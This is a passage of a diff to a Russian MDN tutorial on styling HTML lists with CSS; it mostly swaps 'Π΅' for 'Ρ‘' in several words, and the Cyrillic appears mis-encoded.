&lt;dd&gt;That green healthy stuff that many of us just use to garnish kebabs.&lt;/dd&gt;
&lt;/dl&gt;</pre>
-<p>Если Π²Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅Ρ‚Π΅ ΠΊ ΠΆΠΈΠ²ΠΎΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ прямо сСйчас ΠΈ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚Π΅ элСмСнт списка ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">инструмСнты Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</a>, Ρ‚ΠΎ Π²Ρ‹ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚Π΅ нСсколько стилСй установлСнных ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ:</p>
+<p>Если Π²Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘Ρ‚Π΅ ΠΊ ΠΆΠΈΠ²ΠΎΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ прямо сСйчас ΠΈ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚Π΅ элСмСнт списка ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">инструмСнты Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</a>, Ρ‚ΠΎ Π²Ρ‹ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚Π΅ нСсколько стилСй установлСнных ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ:</p>
<ul>
<li>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ {{htmlelement("ul")}} ΠΈ {{htmlelement("ol")}} ΠΈΠΌΠ΅ΡŽΡ‚ Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ ΠΈ Π½ΠΈΠΆΠ½ΠΈΠΉ {{cssxref("margin")}} ΠΏΠΎ <code>16px</code> (<code>1em</code>) ΠΈ {{cssxref("padding-left")}} <code>40px</code> (<code>2.5em</code>.)</li>
@@ -124,8 +124,8 @@ dd {
<ul>
<li>ΠŸΠ΅Ρ€Π²ΠΎΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ устанавливаСт ΡˆΡ€ΠΈΡ„Ρ‚ сайта ΠΈ основной Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π° 10px. Они Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ΡΡ всСми Π½Π° этой страницС.</li>
<li>ΠŸΡ€Π°Π²ΠΈΠ»Π° 2 ΠΈ 3 Π·Π°Π΄Π°ΡŽΡ‚ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² списков (ΠΈΡ… Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты списков) ΠΈ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ΠΎΠ². Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ ΠΈ список Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π°, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ ΠΈ Π½ΠΈΠΆΠ½ΠΈΠΉ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Ρ‹, помогая ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΡΠΎΠ³Π»Π°ΡΠΎΠ²Π°Π½Π½ΠΎΡΡ‚ΡŒ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ Ρ€ΠΈΡ‚ΠΌΠ°.</li>
- <li>ΠŸΡ€Π°Π²ΠΈΠ»ΠΎ 4 Π·Π°Π΄Π°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΡƒΡŽ высоту {{cssxref("line-height")}} Π² ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π°Ρ… ΠΈ ΠΏΡƒΠ½ΠΊΡ‚Π°Ρ… списка β€” Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρ‹ ΠΈ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡƒΠ½ΠΊΡ‚ списка Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚Π΅ ΠΆΠ΅ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Ρ‹ ΠΌΠ΅ΠΆΠ΄Ρƒ строками. Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΡΠΎΠ³Π»Π°ΡΠΎΠ²Π°Π½Π½ΠΎΡΡ‚ΡŒ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ Ρ€ΠΈΡ‚ΠΌΠ°.</li>
- <li>ΠŸΡ€Π°Π²ΠΈΠ»Π° 5 ΠΈ 6 ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΊ списку описаний β€” ΠΌΡ‹ Π·Π°Π΄Π°Π΅ΠΌ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΡƒΡŽ высоту <code>line-height</code> ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°ΠΌΠΈ ΠΈ описаниями спискС описаний ΠΊΠ°ΠΊ ΠΌΡ‹ это Π΄Π΅Π»Π°Π»ΠΈ с ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π°ΠΌΠΈ ΠΈ ΠΏΡƒΠ½ΠΊΡ‚Π°ΠΌΠΈ списка. И снова, ΡΠΎΠ³Π»Π°ΡΠΎΠ²Π°Π½Π½ΠΎΡΡ‚ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠ°Ρ! <span class="tlid-translation translation" lang="ru"><span title="">ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π΄Π΅Π»Π°Π΅ΠΌ описаниС Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ² ΠΆΠΈΡ€Π½Ρ‹ΠΌ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ Π²Ρ‹Π΄Π΅Π»ΡΠ»ΠΈΡΡŒ Π»Π΅Π³Ρ‡Π΅.</span></span> <span id="cke_bm_126E" class="hidden">Β </span></li>
+ <li>ΠŸΡ€Π°Π²ΠΈΠ»ΠΎ 4 Π·Π°Π΄Π°Ρ‘Ρ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΡƒΡŽ высоту {{cssxref("line-height")}} Π² ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π°Ρ… ΠΈ ΠΏΡƒΠ½ΠΊΡ‚Π°Ρ… списка β€” Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρ‹ ΠΈ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡƒΠ½ΠΊΡ‚ списка Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚Π΅ ΠΆΠ΅ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Ρ‹ ΠΌΠ΅ΠΆΠ΄Ρƒ строками. Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΡΠΎΠ³Π»Π°ΡΠΎΠ²Π°Π½Π½ΠΎΡΡ‚ΡŒ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ Ρ€ΠΈΡ‚ΠΌΠ°.</li>
+ <li>ΠŸΡ€Π°Π²ΠΈΠ»Π° 5 ΠΈ 6 ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΊ списку описаний β€” ΠΌΡ‹ Π·Π°Π΄Π°Ρ‘ΠΌ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΡƒΡŽ высоту <code>line-height</code> ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°ΠΌΠΈ ΠΈ описаниями спискС описаний ΠΊΠ°ΠΊ ΠΌΡ‹ это Π΄Π΅Π»Π°Π»ΠΈ с ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π°ΠΌΠΈ ΠΈ ΠΏΡƒΠ½ΠΊΡ‚Π°ΠΌΠΈ списка. И снова, ΡΠΎΠ³Π»Π°ΡΠΎΠ²Π°Π½Π½ΠΎΡΡ‚ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠ°Ρ! <span class="tlid-translation translation" lang="ru"><span title="">ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π΄Π΅Π»Π°Π΅ΠΌ описаниС Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ² ΠΆΠΈΡ€Π½Ρ‹ΠΌ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ Π²Ρ‹Π΄Π΅Π»ΡΠ»ΠΈΡΡŒ Π»Π΅Π³Ρ‡Π΅.</span></span> <span id="cke_bm_126E" class="hidden">Β </span></li>
</ul>
<h2 id="Π‘Ρ‚ΠΈΠ»ΠΈ_спСцифичныС_для_списков">Π‘Ρ‚ΠΈΠ»ΠΈ спСцифичныС для списков</h2>
@@ -133,7 +133,7 @@ dd {
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, рассмотрСв ΠΎΠ±Ρ‰ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»ΠΎΠ² для списков, Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΈΠ·ΡƒΡ‡ΠΈΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ спСцифичныС спискам свойства. БущСствуСт Ρ‚Ρ€ΠΈ свойства, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Π°ΠΌ Π½Π°Π΄ΠΎ Π½Π°Ρ‡Π°Ρ‚ΡŒ знакомство, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ установлСны для элСмСнтов {{htmlelement("ul")}} ΠΈΠ»ΠΈ {{htmlelement("ol")}}:</p>
<ul>
- <li>{{cssxref("list-style-type")}}: Π·Π°Π΄Π°Π΅Ρ‚ Ρ‚ΠΈΠΏ ΠΌΠ°Ρ€ΠΊΠ΅Ρ€ΠΎΠ² для использования Π² спискС, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Π΅ ΠΈΠ»ΠΈ ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Ρ‹ для нСупорядочСнного списка, ΠΈΠ»ΠΈ Ρ†ΠΈΡ„Ρ€Ρ‹, Π±ΡƒΠΊΠ²Ρ‹ ΠΈΠ»ΠΈ римскиС Ρ†ΠΈΡ„Ρ€Ρ‹ для упорядочСнного списка.</li>
+ <li>{{cssxref("list-style-type")}}: Π·Π°Π΄Π°Ρ‘Ρ‚ Ρ‚ΠΈΠΏ ΠΌΠ°Ρ€ΠΊΠ΅Ρ€ΠΎΠ² для использования Π² спискС, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Π΅ ΠΈΠ»ΠΈ ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Ρ‹ для нСупорядочСнного списка, ΠΈΠ»ΠΈ Ρ†ΠΈΡ„Ρ€Ρ‹, Π±ΡƒΠΊΠ²Ρ‹ ΠΈΠ»ΠΈ римскиС Ρ†ΠΈΡ„Ρ€Ρ‹ для упорядочСнного списка.</li>
<li>{{cssxref("list-style-position")}}: управляСт Π±ΡƒΠ΄Π΅Ρ‚ Π»ΠΈ маркСр появляСтся Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΡƒΠ½ΠΊΡ‚ΠΎΠ² списка ΠΈΠ»ΠΈ <span class="tlid-translation translation" lang="ru"><span title="">Π²Π½Π΅ ΠΈΡ… ΠΏΠ΅Ρ€Π΅Π΄ Π½Π°Ρ‡Π°Π»ΠΎΠΌ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта.</span></span></li>
<li>{{cssxref("list-style-image")}}: позволяСт Π²Π°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ изобраТСния Π² качСствС ΠΌΠ°Ρ€ΠΊΠ΅Ρ€ΠΎΠ², Π° Π½Π΅ просто ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ ΠΈΠ»ΠΈ ΠΊΡ€ΡƒΠ³.</li>
</ul>
@@ -146,7 +146,7 @@ dd {
list-style-type: upper-roman;
}</pre>
-<p>Π­Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π²ΠΈΠ΄:</p>
+<p>Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π²ΠΈΠ΄:</p>
<p><img alt="an ordered list with the bullet points set to appear outside the list item text." src="https://mdn.mozillademos.org/files/12962/outer-bullets.png" style="border-style: solid; border-width: 1px; display: block; height: 119px; margin: 0px auto; width: 376px;"></p>
@@ -199,13 +199,13 @@ ul li {
<ul>
<li>{{cssxref("background-image")}}:Β <span class="tlid-translation translation" lang="ru"><span title="">Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΏΡƒΡ‚ΡŒ ΠΊ Ρ„Π°ΠΉΠ»Ρƒ изобраТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² качСствС ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Π°.</span></span></li>
<li>{{cssxref("background-position")}}: ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ Π³Π΄Π΅ Π² Ρ„ΠΎΠ½Π΅ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта появится ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ β€” Π² Π΄Π°Π½Π½ΠΎΠΌ случаС ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ <code>0 0</code>, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚ Ρ‡Ρ‚ΠΎ ΠΌΠ°Ρ€ΠΊΠ΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΡΠ²Π»ΡΡ‚ΡŒΡΡ Π² самом Π²Π΅Ρ€Ρ…Ρƒ слСва ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΏΡƒΠ½ΠΊΡ‚Π° списка.</li>
- <li>{{cssxref("background-size")}}: Π—Π°Π΄Π°Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ³ΠΎ изобраТСния. Π’ ΠΈΠ΄Π΅Π°Π»Π΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ± ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Ρ‹ Π±Ρ‹Π»ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Ρ‡Ρ‚ΠΎ ΠΈ ΠΏΡƒΠ½ΠΊΡ‚Ρ‹ списка (ΠΈΠ»ΠΈ ΡΠ°ΠΌΡƒΡŽ ΠΌΠ°Π»ΠΎΡΡ‚ΡŒ мСньшС ΠΈΠ»ΠΈ ΠΊΡ€ΡƒΠΏΠ½Π΅Π΅). ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€ <code>1.6rem</code> (<code>16px</code>), <span class="tlid-translation translation" lang="ru"><span title="">Ρ‡Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠΎ сочСтаСтся с отступом (padding) </span></span><code>20px</code><span class="tlid-translation translation" lang="ru"><span title="">, </span></span><span class="tlid-translation translation" lang="ru"><span title="">ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΠ»ΠΈ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Π°Β </span></span>β€” <span class="tlid-translation translation" lang="ru"><span title="">16px плюс 4px ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π° ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΌΠ°Ρ€ΠΊΠ΅Ρ€ΠΎΠΌ ΠΈ тСкстом ΠΏΡƒΠ½ΠΊΡ‚Π° списка Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Ρ…ΠΎΡ€ΠΎΡˆΠΎ.</span></span></li>
+ <li>{{cssxref("background-size")}}: Π—Π°Π΄Π°Ρ‘Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ³ΠΎ изобраТСния. Π’ ΠΈΠ΄Π΅Π°Π»Π΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ± ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Ρ‹ Π±Ρ‹Π»ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Ρ‡Ρ‚ΠΎ ΠΈ ΠΏΡƒΠ½ΠΊΡ‚Ρ‹ списка (ΠΈΠ»ΠΈ ΡΠ°ΠΌΡƒΡŽ ΠΌΠ°Π»ΠΎΡΡ‚ΡŒ мСньшС ΠΈΠ»ΠΈ ΠΊΡ€ΡƒΠΏΠ½Π΅Π΅). ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€ <code>1.6rem</code> (<code>16px</code>), <span class="tlid-translation translation" lang="ru"><span title="">Ρ‡Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠΎ сочСтаСтся с отступом (padding) </span></span><code>20px</code><span class="tlid-translation translation" lang="ru"><span title="">, </span></span><span class="tlid-translation translation" lang="ru"><span title="">ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΠ»ΠΈ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Π°Β </span></span>β€” <span class="tlid-translation translation" lang="ru"><span title="">16px плюс 4px ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π° ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΌΠ°Ρ€ΠΊΠ΅Ρ€ΠΎΠΌ ΠΈ тСкстом ΠΏΡƒΠ½ΠΊΡ‚Π° списка Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Ρ…ΠΎΡ€ΠΎΡˆΠΎ.</span></span></li>
<li>{{cssxref("background-repeat")}}: По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Π΅ изобраТСния ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‚ΡΡ ΠΏΠΎΠΊΠ° Π½Π΅ заполнят доступноС Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ΅ пространство. ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ всСго лишь ΠΎΠ΄Π½Ρƒ копию вставлСнного изобраТСния Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС, поэтому ΠΌΡ‹ установили Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>no-repeat</code>.</li>
</ul>
</li>
</ul>
-<p>Π­Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚:</p>
+<p>Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚:</p>
<p><img alt="an unordered list with the bullet points set as little star images" src="https://mdn.mozillademos.org/files/16226/list_formatting.png" style="border-style: solid; border-width: 1px; display: block; height: 106px; margin: 0px auto; width: 124px;"></p>
@@ -219,7 +219,7 @@ ul li {
list-style-position: inside;
}</pre>
-<p>ΠœΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΌΠ΅Π½Π΅Π½ этим:</p>
+<p>ΠœΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΌΠ΅Π½Ρ‘Π½ этим:</p>
<pre class="brush: css">ul {
list-style: square url(example.png) inside;
@@ -229,11 +229,11 @@ ul li {
<h2 id="ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ_счСта_списка">ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ счСта списка</h2>
-<p>Иногда Π²Π°ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ вСсти счСт Π² упорядочСнном спискС ΠΏΠΎ-Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ β€” Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒ с Ρ†ΠΈΡ„Ρ€Ρ‹ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎΠΉ ΠΎΡ‚ 1, ΠΈΠ»ΠΈ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ порядкС, ΠΈΠ»ΠΈ вСсти счСт с шагом большС 1. HTML ΠΈ CSS ΠΈΠΌΠ΅ΡŽΡ‚ нСсколько инструмСнтов ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ с этим.</p>
+<p>Иногда Π²Π°ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ вСсти счёт Π² упорядочСнном спискС ΠΏΠΎ-Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ β€” Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒ с Ρ†ΠΈΡ„Ρ€Ρ‹ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎΠΉ ΠΎΡ‚ 1, ΠΈΠ»ΠΈ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ порядкС, ΠΈΠ»ΠΈ вСсти счёт с шагом большС 1. HTML ΠΈ CSS ΠΈΠΌΠ΅ΡŽΡ‚ нСсколько инструмСнтов ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ с этим.</p>
<h3 id="start">start</h3>
-<p>Атрибут {{htmlattrxref("start","ol")}} ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π²Π°ΠΌ Π½Π°Ρ‡Π°Ρ‚ΡŒ счСт списка с Ρ†ΠΈΡ„Ρ€Ρ‹ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎΠΉ ΠΎΡ‚ 1. НапримСр:</p>
+<p>Атрибут {{htmlattrxref("start","ol")}} ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π²Π°ΠΌ Π½Π°Ρ‡Π°Ρ‚ΡŒ счёт списка с Ρ†ΠΈΡ„Ρ€Ρ‹ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎΠΉ ΠΎΡ‚ 1. НапримСр:</p>
<pre class="brush: html">&lt;ol start="4"&gt;
&lt;li&gt;Toast pita, leave to cool, then slice down the edge.&lt;/li&gt;
@@ -248,7 +248,7 @@ ul li {
<h3 id="reversed">reversed</h3>
-<p>Атрибут {{htmlattrxref("reversed","ol")}} Π½Π°Ρ‡Π½Π΅Ρ‚ отсчСт ΠΏΠΎ ΡƒΠ±Ρ‹Π²Π°Π½ΠΈΡŽ вмСсто возрастания. НапримСр:</p>
+<p>Атрибут {{htmlattrxref("reversed","ol")}} Π½Π°Ρ‡Π½Ρ‘Ρ‚ отсчёт ΠΏΠΎ ΡƒΠ±Ρ‹Π²Π°Π½ΠΈΡŽ вмСсто возрастания. НапримСр:</p>
<pre class="brush: html">&lt;ol start="4" reversed&gt;
&lt;li&gt;Toast pita, leave to cool, then slice down the edge.&lt;/li&gt;
@@ -262,7 +262,7 @@ ul li {
<p>{{ EmbedLiveSample('reversed', '100%', 150) }}</p>
<div class="note">
